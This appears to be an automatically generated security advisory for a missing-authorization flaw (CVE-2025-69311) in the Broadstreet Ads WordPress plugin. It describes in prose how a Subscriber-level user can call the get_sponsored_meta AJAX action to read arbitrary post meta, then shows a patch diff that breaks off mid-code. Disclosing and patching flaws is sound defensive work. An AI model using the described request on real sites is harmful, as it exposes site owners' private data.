Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-69311: Broadstreet Ads <= 1.52.1 – Missing Authorization (broadstreet)

Plugin broadstreet
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.52.1
Patched Version 1.52.2
Disclosed January 18, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-69311:
The Broadstreet WordPress plugin version 1.52.1 and earlier contains a missing authorization vulnerability. The plugin fails to perform a capability check on the `getSponsorPostMeta` AJAX handler. This allows authenticated attackers with Subscriber-level permissions or higher to retrieve post meta data without proper authorization.

Root Cause:
The vulnerability exists in the `getSponsorPostMeta` function within the `Broadstreet_Ajax` class. The function is defined in the new `/broadstreet/trunk/Broadstreet/Ajax.php` file. The function performs a nonce verification via `check_ajax_referer(‘broadstreet_ajax_nonce’, ‘nonce’)` but lacks a capability check to verify the user has appropriate permissions. The function then calls `Broadstreet_Utility::getAllPostMeta($post_id)` with a user-controlled `post_id` parameter from the `$_GET[‘post_id’]` variable.

Exploitation:
An attacker with a valid WordPress authentication cookie can send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `get_sponsored_meta`. The request must include a valid nonce obtained from the plugin’s admin interface. The attacker can specify any post ID via the `post_id` GET parameter. The vulnerable endpoint is the standard WordPress AJAX handler at `/wp-admin/admin-ajax.php` with the action `wp_ajax_get_sponsored_meta` (registered via `add_action(‘wp_ajax_get_sponsored_meta’, array(‘Broadstreet_Ajax’, ‘getSponsorPostMeta’))`).

Patch Analysis:
The patch adds a capability check to the `getSponsorPostMeta` function. Line 124 in `/broadstreet/trunk/Broadstreet/Ajax.php` now includes `if (!current_user_can(‘edit_posts’)) { wp_die(json_encode(array(‘success’ => false, ‘message’ => ‘Unauthorized’))); }`. This requires the user to have the `edit_posts` capability, which is typically assigned to Contributor roles and above, but not to Subscriber roles. The patch prevents Subscriber-level users from accessing the function while maintaining functionality for authorized users.

Impact:
Exploitation allows authenticated attackers with Subscriber-level access to retrieve post meta data for arbitrary posts. This could expose sensitive information stored in post meta fields, including sponsored content details, advertisement configurations, and business data. The vulnerability does not directly allow modification or deletion of data, but the information disclosure could facilitate further attacks or business intelligence gathering.

Differential between vulnerable and patched code

Code Diff
--- a/broadstreet/Broadstreet/Config.php
+++ b/broadstreet/Broadstreet/Config.php
@@ -140,4 +140,4 @@
     }
 }

-define('BROADSTREET_VERSION', '1.52.1');
+define('BROADSTREET_VERSION', '1.52.2');
--- a/broadstreet/broadstreet.php
+++ b/broadstreet/broadstreet.php
@@ -3,8 +3,8 @@
 Plugin Name: Broadstreet
 Plugin URI: http://broadstreetads.com
 Description: Integrate Broadstreet business directory and adserving power into your site
-Version: 1.52.1
-Tested up to: 6.6.1
+Version: 1.52.2
+Tested up to: 6.9
 Author: Broadstreet
 Author URI: http://broadstreetads.com
 */
--- a/broadstreet/trunk/Broadstreet/Ajax.php
+++ b/broadstreet/trunk/Broadstreet/Ajax.php
@@ -0,0 +1,177 @@
+<?php
+/**
+ * This file contains a class which provides the AJAX callback functions required
+ *  for Broadstreet.
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+/**
+ * A class containing functions for the AJAX functionality in Broadstreet. These
+ *  aren't executed directly by any Broadstreet code -- they are registered with
+ *  the Wordpress hooks in Broadstreet_Core::_registerHooks(), and called as needed
+ *  by the front-end and Wordpress. All of these methods output JSON.
+ */
+class Broadstreet_Ajax
+{
+    /**
+     * Save a boolean value of whether to index comments on the next rebuild
+     */
+    public static function saveSettings()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        // Sanitize the API key before storing it
+        $api_key = sanitize_text_field($_POST['api_key']);
+        Broadstreet_Utility::setOption(Broadstreet_Core::KEY_API_KEY, $api_key);
+
+        // Sanitize network_id as an integer
+        $network_id = isset($_POST['network_id']) ? intval($_POST['network_id']) : -1;
+        Broadstreet_Utility::setOption(Broadstreet_Core::KEY_NETWORK_ID, $network_id);
+
+        // Sanitize business_enabled as a boolean
+        $business_enabled = ($_POST['business_enabled'] === 'true');
+        Broadstreet_Utility::setOption(Broadstreet_Core::KEY_BIZ_ENABLED, $business_enabled);
+
+        $api = Broadstreet_Utility::getBroadstreetClient();
+        $message = 'OK';
+
+        try
+        {
+            $networks  = $api->getNetworks();
+            $key_valid = true;
+
+            if($network_id == -1)
+            {
+                Broadstreet_Utility::setOption(Broadstreet_Core::KEY_NETWORK_ID, $networks[0]->id);
+            }
+
+            //Broadstreet_Utility::refreshZoneCache();
+        }
+        catch(Exception $ex)
+        {
+            $networks = array();
+            $key_valid = false;
+            $message = $ex->__toString();
+
+            # Clear any options that aren't valid following the failed API key config
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_BIZ_ENABLED, FALSE);
+        }
+
+        die(json_encode(array('success' => true, 'key_valid' => $key_valid, 'networks' => $networks, 'message' => $message)));
+    }
+
+    /**
+     *
+     */
+    public static function saveZoneSettings()
+    {
+        // Verify nonce (passed as URL parameter) and check user permissions
+        // Note: Using $_GET since nonce is in URL, not in php://input JSON body
+        if (!isset($_GET['nonce']) || !wp_verify_nonce($_GET['nonce'], 'broadstreet_ajax_nonce')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Security check failed')));
+        }
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        $settings = json_decode(file_get_contents("php://input"));
+
+        if($settings)
+        {
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_PLACEMENTS, $settings);
+            $success = true;
+        }
+        else
+        {
+            $success = false;
+        }
+
+        die(json_encode(array('success' => true)));
+    }
+
+    public static function createAdvertiser()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        $api_key    = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_API_KEY);
+        $network_id = Broadstreet_Utility::getOption(Broadstreet_Core::KEY_NETWORK_ID);
+
+        $api        = Broadstreet_Utility::getBroadstreetClient();
+        $advertiser = $api->createAdvertiser($network_id, stripslashes($_POST['name']));
+
+        die(json_encode(array('success' => true, 'advertiser' => $advertiser)));
+    }
+
+    public static function getSponsorPostMeta() {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('edit_posts')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        $post_id = isset($_GET['post_id']) ? intval($_GET['post_id']) : 0;
+        die(json_encode(array('success' => true, 'meta' => Broadstreet_Utility::getAllPostMeta($post_id))));
+    }
+
+    public static function importFacebook()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('edit_posts')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        try
+        {
+            $profile = Broadstreet_Utility::importBusiness($_POST['id'], $_POST['post_id']);
+            die(json_encode(array('success' => (bool)$profile, 'profile' => $profile)));
+        }
+        catch(Broadstreet_ServerException $ex)
+        {
+            die(json_encode(array('success' => false, 'message' => ($ex->error ? $ex->error->message : 'Server error. This issue has been reported to the folks at Broadstreet.'))));
+        }
+    }
+
+    public static function register()
+    {
+        // Verify nonce and check user permissions
+        check_ajax_referer('broadstreet_ajax_nonce', 'nonce');
+
+        if (!current_user_can('manage_options')) {
+            wp_die(json_encode(array('success' => false, 'message' => 'Unauthorized')));
+        }
+
+        $api = Broadstreet_Utility::getBroadstreetClient(true);
+
+        try
+        {
+            # Register the user by email address
+            $resp = $api->register($_POST['email']);
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_API_KEY, $resp->access_token);
+
+            # Create a network for the new user
+            $resp = $api->createNetwork(get_bloginfo('name'));
+            Broadstreet_Utility::setOption(Broadstreet_Core::KEY_NETWORK_ID, $resp->id);
+
+            die(json_encode(array('success' => true, 'network' => $resp)));
+        }
+        catch(Exception $ex)
+        {
+            die(json_encode(array('success' => false, 'error' => $ex->__toString())));
+        }
+    }
+}
 No newline at end of file
--- a/broadstreet/trunk/Broadstreet/Benchmark.php
+++ b/broadstreet/trunk/Broadstreet/Benchmark.php
@@ -0,0 +1,53 @@
+<?php
+/**
+ * This file contains a class for measuring performance of the search requests
+ *  and internal functionality.
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+/**
+ * A class for helping to measure and log performance. Essentially, acts as
+ *  a easy to use timer
+ */
+class Broadstreet_Benchmark
+{
+    private static $_timers = array();
+
+    /**
+     * Start a timer for a given description. Writes the starting point to the
+     *  log automatically.
+     * @param string $timer_description A unique string that describes this timer
+     */
+    public static function start($timer_description = 'Anonymous Timer')
+    {
+        self::$_timers[$timer_description] = microtime(true);
+        Broadstreet_Log::add('info', "Starting benchmark: $timer_description");
+    }
+
+    /**
+     * The name of a timer that has already been started. Writes the stopping
+     *  point and result to the log automatically
+     * @param string $timer_description The description of a timer that has
+     *  already been started
+     * @return The number of seconds elapsed if the timer exists, false if it
+     *  doesn't
+     */
+    public static function stop($timer_description)
+    {
+        if(array_key_exists($timer_description, self::$_timers))
+        {
+            $start   = self::$_timers[$timer_description];
+            $stop    = microtime(true);
+            $seconds = round($stop - $start, 6);
+
+            Broadstreet_Log::add('info', "Stopped benchmark: $seconds seconds for '$timer_description'");
+            return $seconds;
+        }
+        else
+        {
+            Broadstreet_Log::add('warn', "Unknown benchmark 'stopped': $timer_description");
+            return FALSE;
+        }
+    }
+}
--- a/broadstreet/trunk/Broadstreet/Cache.php
+++ b/broadstreet/trunk/Broadstreet/Cache.php
@@ -0,0 +1,164 @@
+<?php
+/**
+ * Contains a class for caching things programmatically in Wordpress.
+ *  Great for caching things that are a little expensive, like pulling a
+ *  Twitter feed or something else.
+ *
+ * Usage:
+ *  # $bigthing is some object that took a long time to get/compute with
+ *  # get_bigthing. We want to cache it for an hour or so.
+ *
+ *  if(!($bigthing = WPEasyCache::get('bigthing', FALSE)))
+ *  {
+ *      $bigthing = get_bigthing();
+ *      WPEasyCache::set('bigthing', $bigthing, 60*60); # Expire in 1 hour
+ *  }
+ *
+ *  # Do some stuff with $bigthing
+ *
+ * @author Kenny Katzgrau, Katzgrau LLC <kenny@katgrau.com> www.katzgau.com
+ * @link https://github.com/katzgrau/WP-Easy-Cache
+ */
+
+/**
+ * WPEasyCache - A class for quickly caching strings n' things (or any object)
+ *  in Wordpress. Uses the Wordpress options functions as the backend.
+ */
+class Broadstreet_Cache
+{
+    const CACHE_PREFIX          = 'WPEASYCACHE_';
+    const MAX_KEY_LENGTH        = 32;
+
+    private static $_isWPLoaded = FALSE;
+
+    /**
+     * Get an item from the cache by key
+     * @param string $key The name the name of the cache item
+     * @param bool $force Force a value if it exists, even if it's expired
+     * @param mixed $default
+     * @return mixed
+     */
+    public static function get($key, $default = FALSE, $force = FALSE)
+    {
+        $key   = self::_prepareKey($key);
+        $value = self::_getOption($key, FALSE);
+
+        # No value at all? return the default
+        if($value === FALSE) return $default;
+
+        # Now we must have a value. Unserialize and check expiration.
+        $value = @json_decode($value);
+
+        # Uh oh, couldn't unserialize
+        if(!is_object($value)) throw new Exception("$key value wasn't decodable.");
+
+        $expire = $value->expire;
+        $value  = $value->value;
+
+        # No expiration?
+        if($expire === FALSE) return $value;
+
+        # Expired?
+        if($force || (time() < $expire))
+            return $value;
+        else
+            return $default;
+    }
+
+    /**
+     * Set a cache key item
+     * @param string $key
+     * @param mixed $value
+     * @param int $expire Number of seconds to expire in. Default is no expiration (FALSE)
+     */
+    public static function set($key, $value, $expire = FALSE)
+    {
+        $key   = self::_prepareKey($key);
+        $cache = array (
+            'value'  => $value,
+            'expire' => ($expire === FALSE ? $expire : time() + $expire)
+        );
+
+        $cache = json_encode($cache);
+
+        self::_setOption($key, $cache);
+    }
+
+    public static function delete($key)
+    {
+        throw new Exception("Not implemented yet");
+    }
+
+    public static function flush()
+    {
+        throw new Exception("Not implemented yet");
+    }
+
+    /**
+     * Prepare a string to be used as a cache key
+     * @param string $key
+     */
+    private static function _prepareKey($key)
+    {
+        if(!is_string($key))
+            throw new Exception('Key must be a string');
+
+        $key = preg_replace('/[^a-zA-Z0-9-_.]/s', '#', $key);
+
+        if(strlen($key) > self::MAX_KEY_LENGTH)
+            $key = substr($key, 0, self::MAX_KEY_LENGTH);
+
+        $key = self::CACHE_PREFIX . $key;
+
+        return $key;
+    }
+
+    /**
+     * Sets a Wordpress option
+     * @param string $name The name of the option to set
+     * @param string $value The value of the option to set
+     */
+    private static function _setOption($name, $value)
+    {
+        self::_checkWP();
+
+        if (get_option($name) !== FALSE)
+        {
+            update_option($name, $value);
+        }
+        else
+        {
+            add_option($name, $value);
+        }
+    }
+
+    /**
+     * Gets a Wordpress option
+     * @param string    $name The name of the option
+     * @param mixed     $default The default value to return if one doesn't exist
+     * @return string   The value if the option does exist
+     */
+    private static function _getOption($name, $default = FALSE)
+    {
+        self::_checkWP();
+
+        $value = get_option($name);
+        if( $value !== FALSE ) return $value;
+        return $default;
+    }
+
+    /**
+     * Check to see if Wordpress is laoded, throw an exception if it isn't
+     * @throws Exception
+     */
+    private static function _checkWP()
+    {
+        if(self::$_isWPLoaded) return;
+
+        if(!function_exists('get_option'))
+            throw new Exception ('Wordpress must be fully loaded before using ' . __CLASS__);
+
+        self::$_isWPLoaded = TRUE;
+    }
+
+}
 No newline at end of file
--- a/broadstreet/trunk/Broadstreet/Config.php
+++ b/broadstreet/trunk/Broadstreet/Config.php
@@ -0,0 +1,143 @@
+<?php
+/**
+ * This file contains a class which holds Broadstreet's configuration information
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+/**
+ * A class which acts as the source and accessor of all of Broadstreet's configuration
+ *  information.
+ */
+class Broadstreet_Config
+{
+    /**
+     * Load up all of Broadstreet's configuration values. This currently where
+     *  configuration otpions should be set too..
+     */
+    public function setConfig()
+    {
+        $config = array();
+        # Set config values below
+
+        $config['zone_cache_ttl_seconds']    = 60*10; // 15 minutes
+        $config['network_cache_ttl_seconds'] = 60*30; // 30 minutes
+
+        $config['log'] = array (
+
+            'level'     => Broadstreet_Log::OFF,
+            'directory' => dirname(__FILE__) . '/Logs'
+
+        );
+
+        # End config
+        $this->_config = $config;
+    }
+
+    /**
+     * The instance of this config class
+     * @var Broadstreet_Config
+     */
+    private static $_instance = NULL;
+
+    /**
+     * The config array for this class
+     * @var array
+     */
+    private $_config          = NULL;
+
+    /**
+     * The constructor for this class
+     */
+    public function __construct()
+    {
+        $this->setConfig();
+    }
+
+    /**
+     * Set a configuration value
+     * @param string $key The key to store the variable as
+     * @param string $value The value to store for the key
+     * @return mixed The value that was set
+     */
+    public static function set($key, $value)
+    {
+        return self::_getInstance()->setValue($key, $value);
+    }
+
+    /**
+     *
+     * @param string $key The key of the config value to retrieve. If the
+     *  config item is nested in subarrays, you can use dot-separated strings
+     *  to specifykey items. For example, given a config setup like:
+     *
+     *  $config['example-config'] = array (
+     *      'test' = array (
+     *          port => '12345',
+     *          host => 'localhost'
+     *      )
+     *  )
+     *
+     * I could use Broadstreet_Config::get('example-config.test.port') to get
+     *  the port.
+     * @param string $default A value to return if the key wasn't found
+     * @return string The configuration value
+     */
+    public static function get($key = FALSE, $default = FALSE)
+    {
+        return self::_getInstance()->getValue($key, $default);
+    }
+
+    /**
+     * Set an internal config value. This is not meant to be called directly
+     *  outside of this class.
+     * @param string $key The key to store the variable as
+     * @param string $value The value to store for the key
+     * @return mixed The value that was set
+     */
+    public function setValue($key, $value)
+    {
+        return $this->_config[$key] = $value;
+    }
+
+    /**
+     * The internal method for getting a config value. This method is not meant
+     *  to be accessed directly outside of this class, so use Broadstreet_Config::get()
+     *  instead.
+     * @param string $key The config value name
+     * @param string $default A value to return if the key wasn't found
+     * @return string The configuration value
+     */
+    public function getValue($key = FALSE, $default = FALSE)
+    {
+        if($key === FALSE)
+            return $this->_config;
+
+        $config = $this->_config;
+        $keys   = explode('.', $key);
+
+        foreach($keys as $key)
+        {
+            if(array_key_exists($key, $config))
+                $config = $config[$key];
+            else
+                return $default;
+        }
+
+        return $config;
+    }
+
+    /**
+     * Return the instance of this class
+     * @return Broadstreet_Config
+     */
+    private static function _getInstance()
+    {
+        if(self::$_instance === NULL)
+            self::$_instance = new self();
+
+        return self::$_instance;
+    }
+}
+
+define('BROADSTREET_VERSION', '1.52.2');
--- a/broadstreet/trunk/Broadstreet/Core.php
+++ b/broadstreet/trunk/Broadstreet/Core.php
@@ -0,0 +1,1516 @@
+<?php
+/**
+ * This file acts as the 'Controller' of the application. It contains a class
+ *  that will load the required hooks, and the callback functions that those
+ *  hooks execute.
+ *
+ * @author Broadstreet Ads <labs@broadstreetads.com>
+ */
+
+require_once dirname(__FILE__) . '/Ajax.php';
+require_once dirname(__FILE__) . '/Cache.php';
+require_once dirname(__FILE__) . '/Config.php';
+require_once dirname(__FILE__) . '/Benchmark.php';
+require_once dirname(__FILE__) . '/Log.php';
+require_once dirname(__FILE__) . '/Model.php';
+require_once dirname(__FILE__) . '/Net.php';
+require_once dirname(__FILE__) . '/Utility.php';
+require_once dirname(__FILE__) . '/View.php';
+require_once dirname(__FILE__) . '/Widget.php';
+require_once dirname(__FILE__) . '/Exception.php';
+require_once dirname(__FILE__) . '/Vendor/Broadstreet.php';
+
+if (! class_exists('Broadstreet_Core')):
+
+/**
+ * This class contains the core code and callback for the behavior of Wordpress.
+ *  It is instantiated and executed directly by the Broadstreet plugin loader file
+ *  (which is most likely at the root of the Broadstreet installation).
+ */
+class Broadstreet_Core
+{
+    CONST KEY_API_KEY             = 'Broadstreet_API_Key';
+    CONST KEY_NETWORK_ID          = 'Broadstreet_Network_Key';
+    CONST KEY_BIZ_ENABLED         = 'Broadstreet_Biz_Enabled';
+    CONST KEY_INSTALL_REPORT      = 'Broadstreet_Installed';
+    CONST KEY_SHOW_OFFERS         = 'Broadstreet_Offers';
+    CONST KEY_PLACEMENTS          = 'Broadstreet_Placements';
+    CONST BIZ_POST_TYPE           = 'bs_business';
+    CONST BIZ_TAXONOMY            = 'business_category';
+    CONST BIZ_SLUG                = 'businesses';
+
+    public static $_disableAds = false;
+    public static $_rssCount = 0;
+    public static $_rssIndex = 0;
+
+    /**
+     * Default values for sponsored meta fields
+     */
+    public static $_sponsoredDefaults = array (
+        'bs_sponsor_advertiser_id' => '',
+        'bs_sponsor_advertisement_id' => '',
+        'bs_sponsor_is_sponsored' => ''
+    );
+
+    /**
+     * Default values for sponsored meta fields
+     */
+    public static $_visibilityDefaults = array (
+        'bs_ads_disabled' => ''
+    );
+
+    /**
+     * Default values for the businesses meta fields
+     * @var type
+     */
+    public static $_businessDefaults = array (
+        'bs_advertiser_id' => '',
+        'bs_advertisement_id' => '',
+        'bs_advertisement_html' => '',
+        'bs_update_source' => '',
+        'bs_facebook_id' => '',
+        'bs_facebook_hashtag' => '',
+        'bs_twitter_id' => '',
+        'bs_twitter_hashtag' => '',
+        'bs_phone_number' => '',
+        'bs_address_1' => '',
+        'bs_address_2' => '',
+        'bs_city' => '',
+        'bs_state' => '',
+        'bs_postal' => '',
+        'bs_latitude' => '',
+        'bs_longitude' => '',
+        'bs_phone'   => '',
+        'bs_hours' => '',
+        'bs_website' => '',
+        'bs_menu' => '',
+        'bs_publisher_review' => '',
+        'bs_twitter' => '',
+        'bs_facebook' => '',
+        'bs_gplus' => '',
+        'bs_images' => array(),
+        'bs_yelp' => '',
+        'bs_video' => '',
+        'bs_offer' => '',
+        'bs_offer_link' => '',
+        'bs_monday_open' => '', 'bs_monday_close' => '',
+        'bs_tuesday_open' => '', 'bs_tuesday_close' => '',
+        'bs_wednesday_open' => '', 'bs_wednesday_close' => '',
+        'bs_thursday_open' => '', 'bs_thursday_close' => '',
+        'bs_friday_open' => '', 'bs_friday_close' => '',
+        'bs_saturday_open' => '', 'bs_saturday_close' => '',
+        'bs_sunday_open' => '', 'bs_sunday_close' => '',
+        'bs_featured_business' => '0'
+    );
+
+    public static $globals = null;
+
+    /**
+     * The constructor
+     */
+    public function __construct()
+    {
+        Broadstreet_Log::add('debug', "Broadstreet initializing..");
+    }
+
+    /**
+     * Get the Broadstreet environment loaded and register Wordpress hooks
+     */
+    public function execute()
+    {
+        $this->_registerHooks();
+    }
+
+    /**
+     * Get a Broadstreet client
+     */
+    public function getBroadstreetClient()
+    {
+        return Broadstreet_Utility::getBroadstreetClient();
+    }
+
+    /**
+     * Register Wordpress hooks required for Broadstreet
+     */
+    private function _registerHooks()
+    {
+        Broadstreet_Log::add('debug', "Registering hooks..");
+
+        # -- Below is core functionality --
+        add_action('admin_menu', 	array($this, 'adminCallback'     ));
+        add_action('admin_enqueue_scripts', array($this, 'adminStyles'));
+        add_action('admin_init', 	array($this, 'adminInitCallback' ));
+        add_action('wp_enqueue_scripts',          array($this, 'addCDNScript' ));
+        add_filter('script_loader_tag',          array($this, 'finalizeZoneTag' ));
+        add_action('init',          array($this, 'businessIndexSidebar' ));
+        add_action('admin_notices',     array($this, 'adminWarningCallback'));
+        add_action('widgets_init', array($this, 'registerWidget'));
+        add_shortcode('broadstreet', array($this, 'shortcode'));
+        add_filter('image_size_names_choose', array($this, 'addImageSizes'));
+        add_action('wp_footer', array($this, 'addPoweredBy'));
+        # -- Ad injection
+        add_action('wp_body_open', array($this, 'addAdsPageTop' ));
+        add_filter('the_content', array($this, 'addAdsContent'), 20);
+        add_filter('the_content_feed', array($this, 'addRSSMacros'), 20);
+        add_action('loop_end', array($this, 'addAdsLoopEnd'), 20);
+        #add_action('comment_form_before', array($this, 'addAdsBeforeComments'), 1);
+        add_filter('comments_template', array($this, 'addAdsBeforeComments'), 20);
+
+        if (Broadstreet_Utility::getOption(self::KEY_API_KEY)) {
+			add_action('post_updated', array($this, 'saveSponsorPostMeta'), 20);
+			add_action('transition_post_status', array($this, 'monitorForScheduledPostStatus'), 20, 10, 3);
+        }
+
+        add_action('post_updated', array($this, 'saveAdVisibilityMeta'), 20);
+
+        // only fires on newspack
+        add_action('get_template_part_template-parts/header/entry', array($this, 'addNewspackAfterTitleAd'));
+        add_action('after_header', array($this, 'addNewspackHeaderAd'));
+        add_action('before_footer', array($this, 'addNewspackFooterAd'));
+        add_filter('rest_pre_echo_response', array($this, 'addNewspackNewsletterMeta'));
+
+        // only fires on wpp
+        // add_action('get_template_part_loop-templates/content-single-camp', array($this, 'getTrackerContent'));
+
+        # -- Below are all business-related hooks
+        if(Broadstreet_Utility::isBusinessEnabled())
+        {
+            add_action('init', array($this, 'createPostTypes'));
+            add_action('wp_enqueue_scripts', array($this, 'addPostStyles'));
+            add_action('pre_get_posts', array($this, 'modifyPostListing'));
+            add_filter('the_content', array($this, 'postTemplate'), 20);
+            add_filter('the_posts', array($this, 'businessQuery'));
+            add_filter('comment_form_defaults', array($this, 'commentForm'));
+            add_action('save_post', array($this, 'savePostMeta'));
+            add_shortcode('businesses', array($this, 'businesses_shortcode'));
+        }
+
+        # - Below are partly business-related
+        add_action('add_meta_boxes', array($this, 'addMetaBoxes'));
+
+        # RSS Zones, 1.0 and 2.0
+        add_action('rss2_item', array($this, 'addRSSZone'));
+        add_action('rss_item', array($this, 'addRSSZone'));
+
+
+
+        # -- Below is administration AJAX functionality
+        add_action('wp_ajax_bs_save_settings', array('Broadstreet_Ajax', 'saveSettings'));
+        add_action('wp_ajax_create_advertiser', array('Broadstreet_Ajax', 'createAdvertiser'));
+        add_action('wp_ajax_import_facebook', array('Broadstreet_Ajax', 'importFacebook'));
+        add_action('wp_ajax_register', array('Broadstreet_Ajax', 'register'));
+        add_action('wp_ajax_save_zone_settings', array('Broadstreet_Ajax', 'saveZoneSettings'));
+        add_action('wp_ajax_get_sponsored_meta', array('Broadstreet_Ajax', 'getSponsorPostMeta'));
+
+        add_action('rest_api_init', function () {
+            # /wp-json/broadstreet/v1/targets
+            register_rest_route('broadstreet/v1', '/targets', array(
+              'methods' => 'GET',
+              'callback' => function($request) {
+                return Broadstreet_Utility::getAvailableTargets();
+              },
+              'permission_callback' => '__return_true', # public
+            ));
+
+            # /wp-json/broadstreet/v1/refresh
+            register_rest_route('broadstreet/v1', '/refresh', array(
+                'methods' => 'GET',
+                'callback' => function($request) {
+                  $info = Broadstreet_Utility::getNetwork(true);
+                  return [
+                      'success' => $info ? true : false
+                  ];
+                },
+                'permission_callback' => '__return_true', #public
+              ));
+        });
+    }
+
+
+    public function getTrackerContent($content = '') {
+        $code = Broadstreet_Utility::getTrackerCode();
+
+        if (!strstr($content, 'template-parts/')) {
+            return $content . $code;
+        } else {
+            echo $code;
+            return;
+        }
+    }
+
+    public function addRSSZone() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        $home_url = get_home_url();
+
+        $in_rss_feed = property_exists($placement_settings, 'in_rss_feed') && $placement_settings->in_rss_feed;
+        if ($in_rss_feed) {
+            $rss_interval = intval($placement_settings->in_rss_feed_interval);
+            if (!$rss_interval) {
+                $rss_interval = 1;
+            }
+
+            $index = self::$_rssIndex;
+            $time = time();
+
+            if ((self::$_rssCount + 1) % $rss_interval == 0) {
+                echo "<source url="$home_url"><![CDATA[{$index}?ds=true&seed=$time]]></source>";
+                self::$_rssIndex++;
+            } else {
+                $index = '-1';
+                echo "<source url="$home_url"><![CDATA[{$index}?ds=true&seed=$time]]></source>";
+            }
+
+            self::$_rssCount++;
+        }
+    }
+
+    public function addNewspackNewsletterMeta($data) {
+        if (is_array($data) && isset($data['mjml'])) {
+            $cachebuster = time();
+            $data['mjml'] = preg_replace('/BROADSTREET_RANDOM/i', $cachebuster, $data['mjml']);
+        }
+        return $data;
+    }
+
+    public function addNewspackAfterTitleAd() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'newspack_before_title') && $placement_settings->newspack_before_title) {
+            echo Broadstreet_Utility::getZoneCode($placement_settings->newspack_before_title);
+        }
+    }
+
+    public function addNewspackHeaderAd($slug) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'newspack_after_header') && $placement_settings->newspack_after_header) {
+            $padding = '25';
+            if (property_exists($placement_settings, 'newspack_after_header_padding') && $placement_settings->newspack_after_header_padding) {
+                $padding = $placement_settings->newspack_after_header_padding;
+            }
+            echo '<section class="newspack-broadstreet-header" style="text-align:center; padding: ' . $padding . 'px;">' . Broadstreet_Utility::getZoneCode($placement_settings->newspack_after_header) . '</section>';
+        }
+    }
+
+    public function addNewspackFooterAd($slug) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'newspack_before_footer') && $placement_settings->newspack_before_footer) {
+            $padding = '25';
+            if (property_exists($placement_settings, 'newspack_before_footer_padding') && $placement_settings->newspack_before_footer_padding) {
+                $padding = $placement_settings->newspack_before_footer_padding;
+            }
+            echo '<section class="newspack-broadstreet-footer" style="text-align:center; padding: ' . $padding . 'px;">' . Broadstreet_Utility::getZoneCode($placement_settings->newspack_before_footer) . '</section>';
+        }
+    }
+
+    public function addAdsPageTop() {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        if (property_exists($placement_settings, 'above_page') && $placement_settings->above_page) {
+            echo Broadstreet_Utility::getZoneCode($placement_settings->above_page);
+        }
+
+        if (property_exists($placement_settings, 'amp_sticky') && $placement_settings->amp_sticky) {
+            echo "<amp-sticky-ad layout='nodisplay'>" . Broadstreet_Utility::getZoneCode($placement_settings->amp_sticky, array('layout' => false)) . "</amp-sticky-ad>";
+        }
+
+    }
+
+    public function addRSSMacros($content) {
+        $content = str_replace('%%timestamp%%', time(), $content);
+        return $content;
+    }
+
+    public function addAdsContent($content) {
+        $placement_settings = Broadstreet_Utility::getPlacementSettings();
+        $above_content = property_exists($placement_settings, 'above_content') && $placement_settings->above_content;
+        $below_content = property_exists($placement_settings, 'below_content') && $placement_settings->below_content;
+        $in_content = property_exists($placement_settings, 'in_content') && $placement_settings->in_content;
+
+        $content = str_replace('%%timestamp%%', time(), $content);
+
+        if (is_single()) {
+
+            if ($in_content) {
+
+                $in_content_paragraph = property_exists($placement_settings, 'in_content_paragraph') ? $placement_settings->in_content_paragraph : '4';
+                if (!$in_content_paragraph) {
+                    $in_content_paragraph = '4';
+                }
+
+                try {
+                    $in_content_paragraph = array_map('intval', array_map('trim', explode(',', $in_content_paragraph)));
+                } catch (Exception $e) {
+                    // user error
+                    $in_content_paragraph = array(4);
+                }
+
+                /* Now handle in-content */
+                if (!stristr($content, '[broadstreet zone') && !stristr($content, '<broadstreet-zone') && !stristr($content, 'broadstreetads')) { # last one is for <amp-ad>
+                    /* Split the content into paragraphs, clear out anything that is only whitespace */
+                    /* The first lookbehind makes sure we don't match empty paragraphs,
+                        the last lookahead makes sure we don't match special blocks that wrap a paragraph */
+                    $pieces = preg_split('#(?<!<p>)</p>(?!s*</div>)#', $content);
+
+                    if (count($pieces) <= 1 && ($above_content || $below_content)) {
+                        # One paragraph
+                        #return "$contentnn" . $in_story_zone;
+                    }
+
+                    # each insertion increases the offset of the next paragraph
+                    $replacements = 0;
+                    for ($i = 0; $i < count($in_content_paragraph); $i++) {
+                        $in_story_zone = Broadstreet_Utility::getWrappedZoneCode($placement_settings, apply_filters('bs_ads_in_content_zone_id', $placement_settings->in_content), array('place' => $i));
+                        if ((count($pieces) - $replacements) > $in_content_paragraph[$i]) {
+                            array_splice($pieces, $in_content_paragraph[$i] + $replacements++, 0, "</p>" . $in_story_zone);
